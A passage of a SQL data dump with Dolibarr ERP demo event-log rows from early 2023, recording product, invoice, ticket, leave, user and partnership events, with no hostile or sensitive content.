11:07:52','2023-01-03 11:07:52',40,'AC_PRODUCT_MODIFY','Product aaa_XL_BLUE modified','2023-01-03 11:07:52','2023-01-03 14:07:52',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Product aaa_XL_BLUE modified',33,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(712,'712',NULL,1,'2023-01-03 11:15:51','2023-01-03 11:15:51',40,'AC_PRODUCT_CREATE','Product aaa_L_RED created','2023-01-03 11:15:51','2023-01-03 14:15:51',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Product aaa_L_RED created',34,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(713,'713',NULL,1,'2023-01-03 11:15:51','2023-01-03 11:15:51',40,'AC_PRODUCT_MODIFY','Product aaa_L_RED modified','2023-01-03 11:15:51','2023-01-03 14:15:51',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Product aaa_L_RED modified',34,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(714,'714',NULL,1,'2023-01-04 13:58:52','2023-01-04 13:58:52',40,'AC_TICKET_ASSIGNED','Ticket TS1911-0004 assigned','2023-01-04 13:58:52','2023-01-04 16:58:52',12,NULL,4,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Ticket TS1911-0004 assigned\nOld user: Commerson Charle1\nNew user: David Doe',6,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(715,'715',NULL,1,'2023-01-04 13:58:57','2023-01-04 13:58:57',40,'AC_TICKET_ASSIGNED','Ticket TS1911-0004 assigned','2023-01-04 13:58:57','2023-01-04 16:58:57',12,NULL,4,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Ticket TS1911-0004 assigned\nOld user: David Doe\nNew user: Pierre Curie',6,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(716,'716',NULL,1,'2023-01-10 12:59:11','2023-01-10 12:59:11',40,'AC_BILL_UNVALIDATE','Invoice FA1212-0009 go back to draft status','2023-01-10 12:59:11','2023-01-10 15:59:11',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice FA1212-0009 go back to draft status',55,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(717,'717',NULL,1,'2023-01-14 07:46:33','2023-01-14 07:46:33',40,'AC_MEMBER_MODIFY','Member Pierre Curie modified','2023-01-14 07:46:33','2023-01-14 10:46:33',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Member Pierre Curie modified\nMember: Pierre Curie\nType: Standard members',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(718,'718',NULL,1,'2023-01-14 07:46:33','2023-01-14 07:46:33',40,'AC_USER_MODIFY','Record 3 modified','2023-01-14 07:46:33','2023-01-14 10:46:33',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 3 modified',3,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(719,'719',NULL,1,NULL,NULL,63,'AC_EO_INDOORBOOTH','aaa','2023-01-14 11:37:25','2023-01-18 22:10:37',12,12,NULL,17,NULL,0,12,0,NULL,0,0,0,NULL,NULL,NULL,'hfghfgfh\r\nfg\r\nhfg\r\nhfg',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(720,'720',NULL,1,'2023-01-16 16:42:03','2023-01-16 16:42:03',40,'AC_PRODUCT_MODIFY','Product aaa_L_RED modified','2023-01-16 16:42:03','2023-01-16 19:42:03',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Product aaa_L_RED modified',34,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(721,'721',NULL,1,'2023-01-17 09:33:47','2023-01-17 09:33:47',40,'AC_PROPAL_MODIFY','Proposal PR2001-0034 go back to draft status','2023-01-17 09:33:47','2023-01-17 12:33:47',12,NULL,10,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Proposal PR2001-0034 go back to draft status',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(722,'722',NULL,1,'2023-01-18 07:54:02','2023-01-18 07:54:02',40,'AC_BILL_VALIDATE','Invoice FA2301-0029 validated','2023-01-18 07:54:02','2023-01-18 10:54:02',12,NULL,NULL,36,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice FA2301-0029 validated',232,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(723,'723',NULL,1,'2023-01-18 07:54:30','2023-01-18 07:54:30',40,'AC_BILL_VALIDATE','Invoice AV2301-0004 validated','2023-01-18 07:54:30','2023-01-18 10:54:30',12,NULL,NULL,36,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice AV2301-0004 validated',233,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(724,'724',NULL,1,'2023-01-19 09:39:56','2023-01-19 09:39:56',40,'AC_CONTRACT_MODIFY','Record CONTRAT1 modified','2023-01-19 09:39:56','2023-01-19 12:39:56',12,NULL,NULL,2,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record CONTRAT1 modified',2,'contract',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(725,'725',NULL,1,'2023-01-24 06:58:57','2023-01-24 06:58:57',40,'AC_MEMBER_MODIFY','Member Vick Smith modified','2023-01-24 06:58:57','2023-01-24 09:58:57',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Member Vick Smith modified\nMember: Vick Smith\nType: Standard members',1,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(726,'726',NULL,1,'2023-01-24 06:58:57','2023-01-24 06:58:57',40,'AC_COMPANY_MODIFY','Third party NLTechno modified','2023-01-24 06:58:57','2023-01-24 09:58:57',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party NLTechno modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(727,'727',NULL,1,'2023-01-24 07:28:30','2023-01-24 07:28:30',40,'AC_PRODUCT_MODIFY','Product PINKDRESS modified','2023-01-24 07:28:30','2023-01-24 10:28:30',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Product PINKDRESS modified',1,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(728,'728',NULL,1,'2023-01-31 07:08:36','2023-01-31 07:08:36',40,'AC_HOLIDAY_VALIDATE','Request for leave HL2112-0001 validated','2023-01-31 07:08:36','2023-01-31 10:08:36',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Request for leave HL2112-0001 validated',2,'holiday',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(729,'729',NULL,1,'2023-01-31 07:09:11','2023-01-31 07:09:11',40,'AC_HOLIDAY_CREATE','Request for leave (PROV4) created','2023-01-31 07:09:11','2023-01-31 10:09:11',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Request for leave (PROV4) created',4,'holiday',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(730,'730',NULL,1,'2023-01-31 07:09:13','2023-01-31 07:09:13',40,'AC_HOLIDAY_VALIDATE','Request for leave HL2301-0002 validated','2023-01-31 07:09:13','2023-01-31 10:09:13',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Request for leave HL2301-0002 validated',4,'holiday',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(731,'731',NULL,1,'2023-01-31 07:09:16','2023-01-31 07:09:16',40,'AC_HOLIDAY_APPROVE','Request for leave HL2301-0002 approved','2023-01-31 07:09:16','2023-01-31 10:09:16',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Request for leave HL2301-0002 approved',4,'holiday',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(732,'732',NULL,1,'2023-02-04 12:42:34','2023-02-04 12:42:34',40,'AC_BILL_VALIDATE','Invoice FA1212-0009 validated','2023-02-04 12:42:34','2023-02-04 15:42:34',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice FA1212-0009 validated',55,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(733,'733',NULL,1,'2023-02-06 09:18:44','2023-02-06 09:18:44',40,'AC_USER_MODIFY','Record 12 modified','2023-02-06 09:18:44','2023-02-06 12:18:44',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 12 modified',12,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(734,'734',NULL,1,'2023-02-08 09:45:21','2023-02-08 09:45:21',40,'AC_USER_MODIFY','Record 12 modified','2023-02-08 09:45:21','2023-02-08 12:45:21',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 12 modified',12,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(735,'735',NULL,1,'2023-02-09 15:05:49','2023-02-09 15:05:49',40,'AC_COMPANY_MODIFY','Third party aaaincash modified','2023-02-09 15:05:49','2023-02-09 18:05:49',12,NULL,NULL,34,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party aaaincash modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(736,'736',NULL,1,'2023-02-09 15:09:09','2023-02-09 15:09:09',40,'AC_COMPANY_MODIFY','Third party aaainlux modified','2023-02-09 15:09:09','2023-02-09 18:09:09',12,NULL,NULL,33,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party aaainlux modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(737,'737',NULL,1,'2023-02-10 12:56:53','2023-02-10 12:56:53',40,'AC_USER_MODIFY','Record 12 modified','2023-02-10 12:56:53','2023-02-10 15:56:53',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 12 modified',12,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(738,'738',NULL,1,'2023-02-15 13:05:21','2023-02-15 13:05:21',40,'AC_BILL_VALIDATE','Invoice FA2302-0030 validated','2023-02-15 13:05:21','2023-02-15 16:05:21',12,NULL,NULL,34,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice FA2302-0030 validated',235,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(739,'739',NULL,1,'2023-02-15 13:17:31','2023-02-15 13:17:31',40,'AC_BILL_VALIDATE','Invoice FA2302-0031 validated','2023-02-15 13:17:31','2023-02-15 16:17:31',12,NULL,4,34,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice FA2302-0031 validated',236,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(740,'740',NULL,1,'2023-02-15 13:18:30','2023-02-15 13:18:30',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2302-0008 validated','2023-02-15 13:18:30','2023-02-15 16:18:30',12,NULL,4,17,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice SI2302-0008 validated',32,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(741,'741',NULL,1,'2023-02-15 13:54:38','2023-02-15 13:54:38',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI2302-0008 go back to draft status','2023-02-15 13:54:38','2023-02-15 16:54:38',12,NULL,4,17,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice SI2302-0008 go back to draft status',32,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(742,'742',NULL,1,'2023-02-15 13:54:52','2023-02-15 13:54:52',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2302-0008 validated','2023-02-15 13:54:52','2023-02-15 16:54:52',12,NULL,4,17,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Invoice SI2302-0008 validated',32,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(743,'743',NULL,1,'2023-02-15 20:08:31','2023-02-15 20:08:31',40,'AC_COMPANY_MODIFY','Third party aaaincash modified','2023-02-15 20:08:31','2023-02-15 23:08:31',12,NULL,NULL,34,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Third party aaaincash modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(744,'744',NULL,1,'2023-02-19 09:51:33','2023-02-19 09:51:33',40,'AC_PROJECT_MODIFY','Project PROJ2 modified','2023-02-19 09:51:33','2023-02-19 12:51:33',12,NULL,2,13,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Project PROJ2 modified\nLead status: -> 6',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(745,'745',NULL,1,'2023-02-19 09:51:40','2023-02-19 09:51:40',40,'AC_PROJECT_MODIFY','Project PROJ2 modified','2023-02-19 09:51:40','2023-02-19 12:51:40',12,NULL,2,13,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Project PROJ2 modified\nLead status: 6 -> 3',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(746,'746',NULL,1,'2023-02-19 12:27:27','2023-02-19 12:27:27',40,'AC_PROJECT_VALIDATE','Project PJ1912-0007 validated','2023-02-19 12:27:27','2023-02-19 15:27:27',12,NULL,12,4,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Project PJ1912-0007 validated\nProject: PJ1912-0007',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(747,'747',NULL,1,'2023-02-19 12:38:07','2023-02-19 12:38:07',40,'AC_PROJECT_VALIDATE','Project PJ1912-0007 validated','2023-02-19 12:38:07','2023-02-19 15:38:07',12,NULL,12,4,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Project PJ1912-0007 validated\nProject: PJ1912-0007',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(748,'748',NULL,1,'2023-02-19 12:54:30','2023-02-19 12:54:30',40,'AC_PROJECT_MODIFY','Project PJ1912-0007 modified','2023-02-19 12:54:30','2023-02-19 15:54:30',12,NULL,12,4,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Project PJ1912-0007 modified',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(749,'749',NULL,1,'2023-02-19 12:55:22','2023-02-19 12:55:22',40,'AC_PROJECT_VALIDATE','Project PJ1912-0007 validated','2023-02-19 12:55:22','2023-02-19 15:55:22',12,NULL,12,4,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Project PJ1912-0007 validated\nProject: PJ1912-0007',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(752,'752',NULL,1,'2023-02-19 13:00:55','2023-02-19 13:00:55',40,'AC_PROJECT_VALIDATE','Project PROJ2 validated','2023-02-19 13:00:55','2023-02-19 16:00:55',12,NULL,2,13,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Project PROJ2 validated\nProject: PROJ2',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(753,'753',NULL,1,'2023-02-21 07:51:50','2023-02-21 07:51:50',40,'AC_BILL_SUPPLIER_MODIFY','Record SI1601-0002 modified','2023-02-21 07:51:50','2023-02-21 10:51:50',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record SI1601-0002 modified',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(754,'754',NULL,1,'2023-02-21 07:52:03','2023-02-21 07:52:03',40,'AC_BILL_SUPPLIER_MODIFY','Record SI1601-0002 modified','2023-02-21 07:52:03','2023-02-21 10:52:03',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record SI1601-0002 modified',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(755,'755',NULL,1,'2023-02-21 07:52:10','2023-02-21 07:52:10',40,'AC_BILL_SUPPLIER_MODIFY','Record SI1601-0002 modified','2023-02-21 07:52:10','2023-02-21 10:52:10',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record SI1601-0002 modified',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(756,'756',NULL,1,'2023-02-21 07:52:29','2023-02-21 07:52:29',40,'AC_BILL_SUPPLIER_DELETE','Supplier invoice deleted','2023-02-21 07:52:29','2023-02-21 10:52:29',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Supplier invoice deleted',33,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(757,'757',NULL,1,'2023-02-21 08:14:42','2023-02-21 08:14:42',40,'AC_BILL_SUPPLIER_MODIFY','Record (PROV38) modified','2023-02-21 08:14:42','2023-02-21 11:14:42',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record (PROV38) modified',38,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(758,'758',NULL,1,'2023-02-21 08:14:54','2023-02-21 08:14:54',40,'AC_BILL_SUPPLIER_MODIFY','Record (PROV38) modified','2023-02-21 08:14:54','2023-02-21 11:14:54',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record (PROV38) modified',38,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(759,'759',NULL,1,'2023-02-23 07:59:02','2023-02-23 07:59:02',40,'AC_BILL_MODIFY','Record FA2302-0030 modified','2023-02-23 07:59:02','2023-02-23 10:59:02',12,NULL,NULL,34,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record FA2302-0030 modified',235,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(760,'760',NULL,1,'2023-02-24 09:52:00','2023-02-24 09:52:00',40,'AC_PROPAL_MODIFY','Proposal PR2001-0034 go back to draft status','2023-02-24 09:52:00','2023-02-24 12:52:00',12,NULL,10,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Proposal PR2001-0034 go back to draft status',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(761,'761',NULL,1,'2023-02-25 12:00:16','2023-02-25 12:00:16',40,'AC_USER_NEW_PASSWORD','Password modified in Dolibarr','2023-02-25 12:00:16','2023-02-25 15:00:16',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Password modified in Dolibarr',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(762,'762',NULL,1,'2023-02-25 12:00:16','2023-02-25 12:00:16',40,'AC_USER_MODIFY','Record 22 modified','2023-02-25 12:00:16','2023-02-25 15:00:16',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 22 modified',22,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(764,'764',NULL,1,'2023-02-25 12:08:43','2023-02-25 12:08:43',40,'AC_USER_CREATE','Record created','2023-02-25 12:08:43','2023-02-25 15:08:43',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record created',29,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(765,'765',NULL,1,'2023-02-25 12:08:43','2023-02-25 12:08:43',40,'AC_USER_NEW_PASSWORD','Password modified in Dolibarr','2023-02-25 12:08:43','2023-02-25 15:08:43',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Password modified in Dolibarr',29,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(766,'766',NULL,1,'2023-02-25 12:08:50','2023-02-25 12:08:50',40,'AC_USER_MODIFY','Record 29 modified','2023-02-25 12:08:50','2023-02-25 15:08:50',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 29 modified',29,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(767,'767',NULL,1,'2023-02-25 12:08:52','2023-02-25 12:08:52',40,'AC_USER_MODIFY','Record 29 modified','2023-02-25 12:08:52','2023-02-25 15:08:52',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Record 29 modified',29,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(768,'768',NULL,1,'2023-02-25 12:34:59','2023-02-25 12:34:59',40,'AC_USER_MODIFY','Record 29 modified','2023-02-25 12:34:59','2023-02-25 15:34:59',29,NULL,NULL,NULL,NULL,0,29,0,NULL,0,0,-1,'',0,NULL,'Record 29 modified',29,'user',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(769,'769',NULL,1,'2023-02-27 15:29:28','2023-02-27 15:29:28',40,'AC_BOM_UNVALIDATE','Nomenclature (BOM) dévalidée','2023-02-27 15:29:28','2023-02-27 18:29:28',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Nomenclature (BOM) dévalidée',7,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(770,'770',NULL,1,'2023-03-01 14:02:29','2023-03-01 14:02:29',40,'AC_PARTNERSHIP_MODIFY','Enregistrement PSHIP2302-0001 modifié','2023-03-01 14:02:29','2023-03-01 17:02:29',12,NULL,NULL,26,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement PSHIP2302-0001 modifié',1,'partnership@partnership',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(771,'771',NULL,1,'2023-03-01 14:03:20','2023-03-01 14:03:20',40,'AC_PARTNERSHIP_MODIFY','Enregistrement PSHIP2302-0001 modifié','2023-03-01 14:03:20','2023-03-01 17:03:20',12,NULL,NULL,26,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement PSHIP2302-0001 modifié',1,'partnership@partnership',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(772,'772',NULL,1,'2023-03-01 14:03:41','2023-03-01 14:03:41',40,'AC_PARTNERSHIP_MODIFY','Enregistrement PSHIP2302-0001 modifié','2023-03-01 14:03:41','2023-03-01 17:03:41',12,NULL,NULL,26,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement PSHIP2302-0001 modifié',1,'partnership@partnership',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(773,'773',NULL,1,'2023-03-01 14:03:46','2023-03-01 14:03:46',40,'AC_PARTNERSHIP_MODIFY','Enregistrement PSHIP2302-0001 modifié','2023-03-01 14:03:46','2023-03-01 17:03:46',12,NULL,NULL,26,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Enregistrement PSHIP2302-0001 modifié',1,'partnership@partnership',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(774,'774',NULL,1,'2023-03-01 14:07:59','2023-03-01 14:07:59',40,'AC_PARTNERSHIP_SENTBYMAIL','Mail envoyé par Alice Adminson au Calculation Power','2023-03-01 14:07:59','2023-03-01 17:07:59',12,NULL,NULL,26,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'

Hello,
\r\n
\r\nNous vous informons que votre demande de partenariat a été acceptée.

\r\n
\r\n
\r\nSincèrement
\r\nMyBigCompany',1,'partnership@partnership','1677690479.phpmail-dolibarr-pship1@c0d6c0956db3b57170498443d16ce126987719e7','[MyBigCompany] - Partenariat accepté','Alice Adminson ',NULL,'Calculation Power ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(775,'775',NULL,1,'2023-03-01 18:12:37','2023-03-01 18:12:37',40,'AC_PROPAL_MODIFY','Proposition PR2001-0034 de retour au statut de brouillon','2023-03-01 18:12:37','2023-03-01 21:12:37',12,NULL,10,1,NULL,0,12,0,NULL,0,0,-1,'',0,NULL,'Proposition PR2001-0034 de retour au statut de brouillon',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(776,'776',NULL,1,'2023-03-01 18:12:41','2023-03-01 18:12:41',40,'AC_PROPAL_VALIDATE','Proposition PR2001-0034 validée','2023-03-01 18:12:41','2023-03-01 